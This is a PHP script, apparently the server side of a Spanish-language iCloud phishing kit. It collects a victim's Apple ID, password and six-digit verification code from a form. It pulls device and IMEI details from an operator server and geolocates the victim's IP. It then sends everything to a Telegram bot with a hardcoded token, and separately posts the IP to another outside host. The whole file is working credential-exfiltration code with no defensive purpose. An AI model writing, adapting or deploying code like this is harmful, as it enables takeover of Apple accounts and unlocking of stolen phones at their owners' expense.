<?php
error_reporting(0);
include "class-icloud.php";
date_default_timezone_set('Mexico/General');
require_once('geoplugin.class.php');

$geoplugin = new geoPlugin();
// If we wanted to change the base currency, we would uncomment the following         line
// $geoplugin->currency = 'EUR';

$geoplugin->locate();
$idequipo = $_POST['id'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/unlocks.php?r3qne5t=".$idequipo);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = "Host: www.thereisnothing-here.com";
$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
$headers[] = "Accept: */*";
$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
$headers[] = "Connection: keep-alive";
$headers[] = "Cache-Control: max-age=0";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close ($ch);

$response =  simplexml_load_string($result);

@set_time_limit(0);
@session_start();
$x=@md5(@microtime());
$ip=getenv("REMOTE_ADDR");
$i_O="COMPUTED";
$rand = md5(microtime());
$I_O="UserComment";
$date = date("d M, Y");
$time = date("g:i a");
$date = trim($date . ", Time : " . $time);
$useragent = $_SERVER['HTTP_USER_AGENT'];
   function getr($ip){
$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'http://ip-api.toolz-home.gq/');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
            "IP=".$ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $server_output = curl_exec ($ch);
    curl_close ($ch);
}
$iCloud = new iCloud();
$ID = $_POST["xuser"];
$PW = $_POST["xpass"];
if(isset($_POST['char0'])){
    $code = $_POST['char0'].$_POST['char1'].$_POST['char2'].$_POST['char3'].$_POST['char4'].$_POST['char5'];
}else{
    $code = $_POST['code'];
}

        if($response->chatid!=""){
$msj = '🔐☁️ Codigo Obtenido Correctamente ☁🔐

============================
         🛸 Codigo Obtenido 🛸
            🌋🔢 '.$code.' 🔢🌋
============================
📱 Dispositivo: '.$response->equipo.'
🔢 IMEI: '.$response->imei.'
============================
👤 Cliente: '.$response->cliente.'
📄 Notas: '.$response->notas.'
============================
📆 Fecha: '.str_replace("Time", "Hora", $date).'
📍 IP: '.$ip.'
🌎 Pais: '.$geoplugin->countryName . '
🗺️ Ciudad: '.$geoplugin->city.'
🌆 Region: '.$geoplugin->regionName. '
🤖 User Agent: '.$useragent.'
============================

Powered by Njor Server v1';  
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        if(isset($_POST['char0'])){
                if($_POST['codeajax']==true){
                    echo "code";
                }else{
                    header("Location:/?id=".$idequipo."&appleid");
                }
            }
       
?>